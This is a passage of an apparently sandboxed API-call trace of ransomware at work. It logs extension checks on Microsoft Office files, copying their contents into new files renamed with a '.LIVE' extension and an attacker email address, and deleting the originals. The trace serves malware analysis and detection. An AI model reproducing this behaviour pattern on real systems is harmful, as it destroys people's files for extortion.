lpString2="Z.VSL") returned -1 [0144.714] lstrlenW (lpString=".ppt") returned 4 [0144.714] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1 [0144.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGWIZ.VSL") returned 58 [0144.714] lstrlenW (lpString=".zip") returned 4 [0144.715] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1 [0144.715] lstrlenW (lpString=".rar") returned 4 [0144.715] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1 [0144.715] lstrlenW (lpString=".bz2") returned 4 [0144.715] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1 [0144.715] lstrlenW (lpString=".7z") returned 3 [0144.715] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1 [0144.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGWIZ.VSL") returned 58 [0144.715] lstrlenW (lpString=".dbf") returned 4 [0144.715] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1 [0144.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGWIZ.VSL") returned 58 [0144.715] lstrlenW (lpString=".1cd") returned 4 [0144.715] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1 [0144.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGWIZ.VSL") returned 58 [0144.715] lstrlenW (lpString=".jpg") returned 4 [0144.715] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1 [0144.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGWIZ.VSL") returned 58 [0144.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGWIZ.VSL") returned 58 [0144.715] lstrlenW (lpString=".doc") returned 4 [0144.715] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1 [0144.715] lstrlenW (lpString=".docx") returned 5 [0144.715] lstrcmpiW (lpString1=".docx", lpString2="Z.VSL") returned -1 [0144.715] lstrlenW (lpString=".pdf") returned 4 [0144.715] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1 [0144.715] lstrlenW (lpString=".xls") returned 4 [0144.715] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1 [0144.715] lstrlenW (lpString=".xlsx") returned 5 [0144.715] lstrcmpiW (lpString1=".xlsx", lpString2="Z.VSL") returned -1 [0144.715] lstrlenW (lpString=".ppt") returned 4 [0144.715] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1 [0144.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGWIZ.VSL") returned 58 [0144.715] lstrlenW (lpString=".zip") returned 4 [0144.715] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1 [0144.715] lstrlenW (lpString=".rar") returned 4 [0144.715] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1 [0144.715] lstrlenW (lpString=".bz2") returned 4 [0144.716] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1 [0144.716] lstrlenW (lpString=".7z") returned 3 [0144.716] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1 [0144.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGWIZ.VSL") returned 58 [0144.716] lstrlenW (lpString=".dbf") returned 4 [0144.716] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1 [0144.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGWIZ.VSL") returned 58 [0144.716] lstrlenW (lpString=".1cd") returned 4 [0144.716] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1 [0144.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGWIZ.VSL") returned 58 [0144.716] lstrlenW (lpString=".jpg") returned 4 [0144.716] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1 [0144.716] lstrcmpiW (lpString1=".HXS", lpString2=".LIVE") returned -1 [0144.716] lstrlenW (lpString="OUTLOOK.HXS") returned 11 [0144.716] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.hxs"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0144.717] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=5000295) returned 1 [0144.717] CloseHandle (hObject=0x398) returned 1 [0144.717] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.hxs")) returned 0x20 [0144.717] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HXS.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.hxs.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0144.717] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HXS.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.hxs.id-9c354b42.[cryptlive@aol.com].live")) returned 0 [0144.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HXS") returned 59 [0144.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HXS") returned 59 [0144.717] lstrlenW (lpString=".doc") returned 4 [0144.717] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0144.717] lstrlenW (lpString=".docx") returned 5 [0144.717] lstrcmpiW (lpString1=".docx", lpString2="K.HXS") returned -1 [0144.717] lstrlenW (lpString=".pdf") returned 4 [0144.717] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0144.717] lstrlenW (lpString=".xls") returned 4 [0144.718] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0144.718] lstrlenW (lpString=".xlsx") returned 5 [0144.718] lstrcmpiW (lpString1=".xlsx", lpString2="K.HXS") returned -1 [0144.718] lstrlenW (lpString=".ppt") returned 4 [0144.718] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0144.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HXS") returned 59 [0144.718] lstrlenW (lpString=".zip") returned 4 [0144.718] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0144.718] lstrlenW (lpString=".rar") returned 4 [0144.718] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0144.718] lstrlenW (lpString=".bz2") returned 4 [0144.718] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0144.718] lstrlenW (lpString=".7z") returned 3 [0144.718] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0144.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HXS") returned 59 [0144.718] lstrlenW (lpString=".dbf") returned 4 [0144.718] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0144.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HXS") returned 59 [0144.718] lstrlenW (lpString=".1cd") returned 4 [0144.718] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0144.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HXS") returned 59 [0144.718] lstrlenW (lpString=".jpg") returned 4 [0144.718] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0144.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HXS") returned 59 [0144.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HXS") returned 59 [0144.718] lstrlenW (lpString=".doc") returned 4 [0144.718] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0144.718] lstrlenW (lpString=".docx") returned 5 [0144.718] lstrcmpiW (lpString1=".docx", lpString2="K.HXS") returned -1 [0144.718] lstrlenW (lpString=".pdf") returned 4 [0144.718] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0144.718] lstrlenW (lpString=".xls") returned 4 [0144.718] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0144.718] lstrlenW (lpString=".xlsx") returned 5 [0144.718] lstrcmpiW (lpString1=".xlsx", lpString2="K.HXS") returned -1 [0144.719] lstrlenW (lpString=".ppt") returned 4 [0144.719] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0144.719] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HXS") returned 59 [0144.719] lstrlenW (lpString=".zip") returned 4 [0144.719] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0144.719] lstrlenW (lpString=".rar") returned 4 [0144.719] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0144.719] lstrlenW (lpString=".bz2") returned 4 [0144.719] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0144.719] lstrlenW (lpString=".7z") returned 3 [0144.719] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0144.719] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HXS") returned 59 [0144.719] lstrlenW (lpString=".dbf") returned 4 [0144.719] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0144.719] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HXS") returned 59 [0144.719] lstrlenW (lpString=".1cd") returned 4 [0144.719] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0144.719] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HXS") returned 59 [0144.719] lstrlenW (lpString=".jpg") returned 4 [0144.719] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0144.719] lstrcmpiW (lpString1=".HXC", lpString2=".LIVE") returned -1 [0144.719] lstrlenW (lpString="OUTLOOK_COL.HXC") returned 15 [0144.719] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook_col.hxc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0144.720] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=631) returned 1 [0144.720] CloseHandle (hObject=0x398) returned 1 [0144.720] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook_col.hxc")) returned 0x20 [0144.720] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXC.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook_col.hxc.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0144.720] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook_col.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0144.720] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0144.720] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0144.720] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXC.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook_col.hxc.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0144.721] GetLastError () returned 0x0 [0144.721] ReadFile (in: hFile=0x398, lpBuffer=0x3ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesRead=0x328fed4*=0x277, lpOverlapped=0x0) returned 1 [0144.935] WriteFile (in: hFile=0x3bc, lpBuffer=0x3ed0020*, nNumberOfBytesToWrite=0x280, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesWritten=0x328fc9c*=0x280, lpOverlapped=0x0) returned 1 [0144.936] ReadFile (in: hFile=0x398, lpBuffer=0x3ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0144.936] WriteFile (in: hFile=0x3bc, lpBuffer=0x3ed0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesWritten=0x328fc9c*=0xf2, lpOverlapped=0x0) returned 1 [0144.936] SetEndOfFile (hFile=0x3bc) returned 1 [0144.937] CloseHandle (hObject=0x3bc) returned 1 [0144.937] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0144.937] SetEndOfFile (hFile=0x398) returned 1 [0144.939] CloseHandle (hObject=0x398) returned 1 [0144.939] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXC.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0144.973] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook_col.hxc")) returned 1 [0144.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXC") returned 63 [0144.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXC") returned 63 [0144.976] lstrlenW (lpString=".doc") returned 4 [0144.976] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1 [0144.976] lstrlenW (lpString=".docx") returned 5 [0144.976] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0144.976] lstrlenW (lpString=".pdf") returned 4 [0144.976] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0144.976] lstrlenW (lpString=".xls") returned 4 [0144.976] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0144.976] lstrlenW (lpString=".xlsx") returned 5 [0144.976] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0144.976] lstrlenW (lpString=".ppt") returned 4 [0144.976] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0144.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXC") returned 63 [0144.976] lstrlenW (lpString=".zip") returned 4 [0144.976] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0144.976] lstrlenW (lpString=".rar") returned 4 [0144.976] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0144.976] lstrlenW (lpString=".bz2") returned 4 [0144.976] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0144.976] lstrlenW (lpString=".7z") returned 3 [0144.976] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1 [0144.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXC") returned 63 [0144.976] lstrlenW (lpString=".dbf") returned 4 [0144.976] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0144.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXC") returned 63 [0144.976] lstrlenW (lpString=".1cd") returned 4 [0144.976] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1 [0144.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXC") returned 63 [0144.976] lstrlenW (lpString=".jpg") returned 4 [0144.976] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0144.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXC") returned 63 [0144.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXC") returned 63 [0144.976] lstrlenW (lpString=".doc") returned 4 [0144.977] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1 [0144.977] lstrlenW (lpString=".docx") returned 5 [0144.977] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0144.977] lstrlenW (lpString=".pdf") returned 4 [0144.977] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0144.977] lstrlenW (lpString=".xls") returned 4 [0144.977] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0144.977] lstrlenW (lpString=".xlsx") returned 5 [0144.977] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0144.977] lstrlenW (lpString=".ppt") returned 4 [0144.977] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0144.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXC") returned 63 [0144.977] lstrlenW (lpString=".zip") returned 4 [0144.977] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0144.977] lstrlenW (lpString=".rar") returned 4 [0144.977] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0144.977] lstrlenW (lpString=".bz2") returned 4 [0144.977] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0144.977] lstrlenW (lpString=".7z") returned 3 [0144.977] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1 [0144.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXC") returned 63 [0144.977] lstrlenW (lpString=".dbf") returned 4 [0144.977] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0144.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXC") returned 63 [0144.977] lstrlenW (lpString=".1cd") returned 4 [0144.977] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1 [0144.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXC") returned 63 [0144.977] lstrlenW (lpString=".jpg") returned 4 [0144.977] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0144.977] lstrcmpiW (lpString1=".DLL", lpString2=".LIVE") returned -1 [0144.977] lstrlenW (lpString="PJINTLC.DLL") returned 11 [0144.977] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTLC.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pjintlc.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0144.978] GetFileSizeEx (in: hFile=0x3d0, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=154496) returned 1 [0144.978] CloseHandle (hObject=0x3d0) returned 1 [0144.978] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTLC.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pjintlc.dll")) returned 0x20 [0144.978] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTLC.DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pjintlc.dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0144.979] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTLC.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pjintlc.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0144.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTLC.DLL") returned 59 [0144.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTLC.DLL") returned 59 [0144.979] lstrlenW (lpString=".doc") returned 4 [0144.979] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0144.979] lstrlenW (lpString=".docx") returned 5 [0144.979] lstrcmpiW (lpString1=".docx", lpString2="C.DLL") returned -1 [0144.979] lstrlenW (lpString=".pdf") returned 4 [0144.979] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0144.979] lstrlenW (lpString=".xls") returned 4 [0144.979] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0144.979] lstrlenW (lpString=".xlsx") returned 5 [0144.979] lstrcmpiW (lpString1=".xlsx", lpString2="C.DLL") returned -1 [0144.979] lstrlenW (lpString=".ppt") returned 4 [0144.979] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0144.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTLC.DLL") returned 59 [0144.979] lstrlenW (lpString=".zip") returned 4 [0144.979] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0144.979] lstrlenW (lpString=".rar") returned 4 [0144.979] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0144.979] lstrlenW (lpString=".bz2") returned 4 [0144.979] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0144.979] lstrlenW (lpString=".7z") returned 3 [0144.979] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0144.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTLC.DLL") returned 59 [0144.979] lstrlenW (lpString=".dbf") returned 4 [0144.979] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0144.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTLC.DLL") returned 59 [0144.979] lstrlenW (lpString=".1cd") returned 4 [0144.979] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0144.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTLC.DLL") returned 59 [0144.979] lstrlenW (lpString=".jpg") returned 4 [0144.980] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0144.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTLC.DLL") returned 59 [0144.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTLC.DLL") returned 59 [0144.980] lstrlenW (lpString=".doc") returned 4 [0144.980] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0144.980] lstrlenW (lpString=".docx") returned 5 [0144.980] lstrcmpiW (lpString1=".docx", lpString2="C.DLL") returned -1 [0144.980] lstrlenW (lpString=".pdf") returned 4 [0144.980] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0144.980] lstrlenW (lpString=".xls") returned 4 [0144.980] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0144.980] lstrlenW (lpString=".xlsx") returned 5 [0144.980] lstrcmpiW (lpString1=".xlsx", lpString2="C.DLL") returned -1 [0144.980] lstrlenW (lpString=".ppt") returned 4 [0144.980] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0144.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTLC.DLL") returned 59 [0144.980] lstrlenW (lpString=".zip") returned 4 [0144.980] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0144.980] lstrlenW (lpString=".rar") returned 4 [0144.980] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0144.980] lstrlenW (lpString=".bz2") returned 4 [0144.980] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0144.980] lstrlenW (lpString=".7z") returned 3 [0144.980] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0144.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTLC.DLL") returned 59 [0144.980] lstrlenW (lpString=".dbf") returned 4 [0144.980] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0144.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTLC.DLL") returned 59 [0144.980] lstrlenW (lpString=".1cd") returned 4 [0144.980] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0144.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTLC.DLL") returned 59 [0144.980] lstrlenW (lpString=".jpg") returned 4 [0144.980] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0144.981] lstrcmpiW (lpString1=".DLL", lpString2=".LIVE") returned -1 [0144.981] lstrlenW (lpString="PMENURES.DLL") returned 12 [0144.981] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PMENURES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pmenures.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0144.982] GetFileSizeEx (in: hFile=0x3d0, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=10624) returned 1 [0144.982] CloseHandle (hObject=0x3d0) returned 1 [0144.982] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PMENURES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pmenures.dll")) returned 0x20 [0144.982] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PMENURES.DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pmenures.dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0144.982] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PMENURES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pmenures.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0144.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PMENURES.DLL") returned 60 [0144.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PMENURES.DLL") returned 60 [0144.993] lstrlenW (lpString=".doc") returned 4 [0144.993] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0144.993] lstrlenW (lpString=".docx") returned 5 [0144.993] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0144.993] lstrlenW (lpString=".pdf") returned 4 [0144.993] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0144.993] lstrlenW (lpString=".xls") returned 4 [0144.993] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0144.993] lstrlenW (lpString=".xlsx") returned 5 [0144.993] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0144.993] lstrlenW (lpString=".ppt") returned 4 [0144.993] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0144.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PMENURES.DLL") returned 60 [0144.993] lstrlenW (lpString=".zip") returned 4 [0144.993] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0144.993] lstrlenW (lpString=".rar") returned 4 [0144.993] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0144.993] lstrlenW (lpString=".bz2") returned 4 [0144.993] lstrcmpiW 